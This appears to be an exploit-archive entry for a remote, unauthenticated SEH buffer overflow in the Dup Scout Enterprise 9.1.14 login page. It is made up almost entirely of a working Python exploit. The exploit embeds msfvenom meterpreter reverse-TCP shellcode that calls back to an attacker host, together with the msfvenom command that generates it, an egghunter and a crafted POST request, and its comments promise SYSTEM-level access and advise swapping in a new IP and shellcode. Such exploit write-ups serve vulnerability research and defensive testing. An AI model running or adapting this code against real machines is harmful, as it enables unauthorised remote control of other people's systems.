Dup Scout Enterprise 9.1.14 Buffer Overflow

2016.11.30
Credit: Tulpa
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

#!/usr/bin/python print "Dup Scout Enterprise 9.1.14 Login Buffer Overflow" print "Author: Tulpa / tulpa[at]tulpa-security[dot]com" #Author website: www.tulpa-security.com #Author twitter: @tulpa_security #Exploit will land you NT AUTHORITY\SYSTEM #You do not need to be authenticated, password below is garbage #Swop out IP, shellcode and remember to adjust '\x41' for bytes #Tested on Windows 7 x86 Enterprise SP1 #Vendor has been notified on multiple occasions #Exploit for version 9.0.28: www.exploit-db.com/exploits/40457/ #Shout-out to carbonated and ozzie_offsec import socket import sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.123.130',80)) #bad chars \x00\x0a\x0d\x26 #msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.123.134 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest #payload size 308 buf = "" buf += "\xdb\xdc\xb8\x95\x49\x89\x1d\xd9\x74\x24\xf4\x5f\x33" buf += "\xc9\xb1\x47\x31\x47\x18\x83\xc7\x04\x03\x47\x81\xab" buf += "\x7c\xe1\x41\xa9\x7f\x1a\x91\xce\xf6\xff\xa0\xce\x6d" buf += "\x8b\x92\xfe\xe6\xd9\x1e\x74\xaa\xc9\x95\xf8\x63\xfd" buf += "\x1e\xb6\x55\x30\x9f\xeb\xa6\x53\x23\xf6\xfa\xb3\x1a" buf += "\x39\x0f\xb5\x5b\x24\xe2\xe7\x34\x22\x51\x18\x31\x7e" buf += "\x6a\x93\x09\x6e\xea\x40\xd9\x91\xdb\xd6\x52\xc8\xfb" buf += "\xd9\xb7\x60\xb2\xc1\xd4\x4d\x0c\x79\x2e\x39\x8f\xab" buf += "\x7f\xc2\x3c\x92\xb0\x31\x3c\xd2\x76\xaa\x4b\x2a\x85" buf += "\x57\x4c\xe9\xf4\x83\xd9\xea\x5e\x47\x79\xd7\x5f\x84" buf += "\x1c\x9c\x53\x61\x6a\xfa\x77\x74\xbf\x70\x83\xfd\x3e" buf += "\x57\x02\x45\x65\x73\x4f\x1d\x04\x22\x35\xf0\x39\x34" buf += "\x96\xad\x9f\x3e\x3a\xb9\xad\x1c\x52\x0e\x9c\x9e\xa2" buf += "\x18\x97\xed\x90\x87\x03\x7a\x98\x40\x8a\x7d\xdf\x7a" buf += "\x6a\x11\x1e\x85\x8b\x3b\xe4\xd1\xdb\x53\xcd\x59\xb0" buf += "\xa3\xf2\x8f\x2d\xa1\x64\xf0\x1a\xd2\xf2\x98\x58\x25" buf += "\xeb\x04\xd4\xc3\x5b\xe5\xb6\x5b\x1b\x55\x77\x0c\xf3" buf += "\xbf\x78\x73\xe3\xbf\x52\x1c\x89\x2f\x0b\x74\x25\xc9" buf += "\x16\x0e\xd4\x16\x8d\x6a\xd6\x9d\x22\x8a\x98\x55\x4e" buf += "\x98\x4c\x96\x05\xc2\xda\xa9\xb3\x69\xe2\x3f\x38\x38" buf += "\xb5\xd7\x42\x1d\xf1\x77\xbc\x48\x8a\xbe\x28\x33\xe4" buf += "\xbe\xbc\xb3\xf4\xe8\xd6\xb3\x9c\x4c\x83\xe7\xb9\x92" buf += "\x1e\x94\x12\x07\xa1\xcd\xc7\x80\xc9\xf3\x3e\xe6\x55" buf += "\x0b\x15\xf6\xaa\xda\x53\x8c\xc2\xde" #pop pop ret 1004FAF3 nseh = "\x90\x90\xEB\x0B" seh = "\xF3\xFA\x04\x10" egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" evil = "POST /login HTTP/1.1\r\n" evil += "Host: 192.168.123.132\r\n" evil += "User-Agent: Mozilla/5.0\r\n" evil += "Connection: close\r\n" evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" evil += "Accept-Language: en-us,en;q=0.5\r\n" evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" evil += "Keep-Alive: 300\r\n" evil += "Proxy-Connection: keep-alive\r\n" evil += "Content-Type: application/x-www-form-urlencoded\r\n" evil += "Content-Length: 17000\r\n\r\n" evil += "username=admin" evil += "&password=aaaaa\r\n" evil += "\x41" * 13664 #subtract/add for payload evil += "B" * 100 evil += "w00tw00t" evil += buf evil += "\x90" * 212 evil += nseh evil += seh evil += "\x90" * 10 evil += egghunter evil += "\x90" * 8672 print 'Sending evil buffer...' s.send(evil) print 'Payload Sent!' s.close()


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